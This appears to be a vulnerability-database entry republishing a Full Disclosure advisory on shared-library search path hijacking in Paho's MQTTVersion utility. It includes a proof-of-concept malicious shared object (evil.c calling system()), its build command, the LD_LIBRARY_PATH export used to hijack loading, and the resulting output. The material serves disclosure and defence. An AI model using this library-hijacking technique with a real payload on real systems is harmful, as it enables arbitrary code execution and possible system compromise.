GCVE-1988-2026-0174
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25
VLAI
EPSS
VEX
Title
Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking
Summary
*Description:*
Arbitrary code execution is possible in the MQTTVersion utility due to
uncontrolled loading of shared libraries using non-absolute paths. The
application invokes dlopen() with relative library names and relies on the
dynamic loader’s search path to resolve the target library. Because the
library origin is not restricted to trusted directories and no integrity or
authenticity checks are performed, an attacker can cause a malicious shared
object to be loaded and executed.This vulnerability occurs when the process
inherits a user-controlled library search path, such as through the
LD_LIBRARY_PATH environment variable. Under these conditions, an
attacker-supplied shared object with a matching library name will be loaded
instead of the legitimate library.
*Impact:*
An attacker can execute arbitrary code in the context of the user running
the MQTTVersion utility. If the utility is executed with elevated
privileges or within automated environments (e.g., CI/CD pipelines,
packaging systems, or administrative scripts), this vulnerability may
result in full system compromise.
*Affected Code:*
void* APILibrary = dlopen("libpaho-mqtt3c.so.1", RTLD_LAZY);
*Attack Scenario:*
1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1
in a directory they control.
2. The attacker modifies the runtime environment to include this
directory in the loader search path.
3. When the utility is executed, the malicious library is loaded and
attacker-controlled code executes.
*Proof of Concept (PoC):*
*Malicious Shared Object:*
// evil.c
#include <stdlib.h>
typedef struct {
const char* name;
const char* value;
} MQTTAsync_nameValue;
MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {
system("echo RCE_FROM_SO");
static MQTTAsync_nameValue v[] = {
{"PWNED", "Function pointer executed"},
{NULL, NULL}
};
return v;
}
*Compile the malicious library:*
clang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1
*Exploitation:*
export LD_LIBRARY_PATH=$PWD
./MQTTVersion
*Output:*
MQTTVersion: print the version strings of an MQTT client library
Copyright (c) 2012, 2018 IBM Corp.
Specify a particular library name if it is not in the current directory, or
not executable on this platform
--- Trying library paho-mqtt3c ---
RCE_FROM_SO
PWNED: Function pointer executed
--- Trying library paho-mqtt3cs ---
Error loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:
cannot open shared object file: No such file or directory
--- Trying library paho-mqtt3a ---
Error loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:
cannot open shared object file: No such file or directory
--- Trying library paho-mqtt3as ---
Error loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:
cannot open shared object file: No such file or directory
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Paho",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nuncontrolled loading of shared libraries using non-absolute paths. The\napplication invokes dlopen() with relative library names and relies on the\ndynamic loader\u2019s search path to resolve the target library. Because the\nlibrary origin is not restricted to trusted directories and no integrity or\nauthenticity checks are performed, an attacker can cause a malicious shared\nobject to be loaded and executed.This vulnerability occurs when the process\ninherits a user-controlled library search path, such as through the\nLD_LIBRARY_PATH environment variable. Under these conditions, an\nattacker-supplied shared object with a matching library name will be loaded\ninstead of the legitimate library.\n\n*Impact:*\nAn attacker can execute arbitrary code in the context of the user running\nthe MQTTVersion utility. If the utility is executed with elevated\nprivileges or within automated environments (e.g., CI/CD pipelines,\npackaging systems, or administrative scripts), this vulnerability may\nresult in full system compromise.\n\n*Affected Code:*\nvoid* APILibrary = dlopen(\"libpaho-mqtt3c.so.1\", RTLD_LAZY);\n\n*Attack Scenario:*\n\n 1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1\n in a directory they control.\n 2. The attacker modifies the runtime environment to include this\n directory in the loader search path.\n 3. When the utility is executed, the malicious library is loaded and\n attacker-controlled code executes.\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n const char* name;\n const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n system(\"echo RCE_FROM_SO\");\n static MQTTAsync_nameValue v[] = {\n {\"PWNED\", \"Function pointer executed\"},\n {NULL, NULL}\n };\n return v;\n}\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1\n\n*Exploitation:*\nexport LD_LIBRARY_PATH=$PWD\n./MQTTVersion\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nSpecify a particular library name if it is not in the current directory, or\nnot executable on this platform\n--- Trying library paho-mqtt3c ---\nRCE_FROM_SO\nPWNED: Function pointer executed\n--- Trying library paho-mqtt3cs ---\nError loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3a ---\nError loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3as ---\nError loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:\ncannot open shared object file: No such file or directory\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:25:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/4"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/4"
],
"discovery": "EXTERNAL"
},
"title": "Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0174",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4",
"automated": true,
"contentSha256": "f328761ce2b86b14048d9988042bbdc244b32c0e05c5947c489184368640aa26",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/4",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:45:53Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-08T07:25:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0174"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…